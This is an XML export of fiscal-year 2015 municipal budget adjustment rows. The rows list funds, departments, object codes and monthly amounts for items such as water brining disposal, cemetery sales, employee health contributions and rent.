<row _id="15946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555430.0</object><object_description>WASTE DISPOSAL (BRINING)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>661700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>661700.0</total></row>
<row _id="15947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556130.0</object><object_description>SOLD CASKETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>52000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52000.0</total></row>
<row _id="15949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556160.0</object><object_description>SOLD URNS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9300.0</total></row>
<row _id="15950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5301.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5301.0</total></row>
<row _id="15951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10620.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10620.0</total></row>
<row _id="15952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>882.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>882.0</total></row>
<row _id="15953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>432.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>432.0</total></row>
<row _id="15954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2036.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2036.0</total></row>
<row _id="15955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-41944.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-41944.0</total></row>
<row _id="15957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-5536.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5536.0</total></row>
<row _id="15958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-3253.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3253.0</total></row>
<row _id="15959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-4778.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4778.0</total></row>
<row _id="15960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-2513.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2513.0</total></row>
<row _id="15961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-8206.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8206.0</total></row>
<row _id="15962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-18429.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18429.0</total></row>
<row _id="15963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-12083.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12083.0</total></row>
<row _id="15964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-3367.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3367.0</total></row>
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<row _id="15966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6543.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6543.0</total></row>
<row _id="15967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-7521.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7521.0</total></row>
<row _id="15968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-29461.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-29461.0</total></row>
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<row _id="15971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409031.0</object><object_description>CAMP SM-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409043.0</object><object_description>ELEM SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2076.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2076.0</total></row>
<row _id="15974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4840.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4840.0</total></row>
<row _id="15975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
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<row _id="15977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>882.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>882.0</total></row>
<row _id="15978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>140306.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>140306.0</total></row>
<row _id="15979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2586.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2586.0</total></row>
<row _id="15980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13004.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13004.0</total></row>
<row _id="15981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>98166.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>98166.0</total></row>
<row _id="15982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>400600.0</object><object_description>OVERSIZE LOAD</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="15983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>407240.0</object><object_description>TRANS MGMT BLDG PLAN CHECK</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-156560.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-156560.0</total></row>
<row _id="15984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>566610.0</object><object_description>PROCESS &amp; HAULING EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2550000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2550000.0</total></row>
<row _id="15985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405670.0</object><object_description>HBP-FHWA PIER BRIDGE</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-450000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-450000.0</total></row>
<row _id="15986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6726.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6726.0</total></row>
<row _id="15987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-7411.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7411.0</total></row>
<row _id="15988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>520000.0</object><object_description>SUPPLIES AND EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409007.0</object><object_description>CHILDCARE-MARCH</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409010.0</object><object_description>CHILDCARE-JUNE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409063.0</object><object_description>SMSE-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556150.0</object><object_description>SOLD NAME PLATES/BENCHES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="15993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>81059.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>81059.0</total></row>
<row _id="15995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>66406.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66406.0</total></row>
<row _id="15996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7126.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7126.0</total></row>
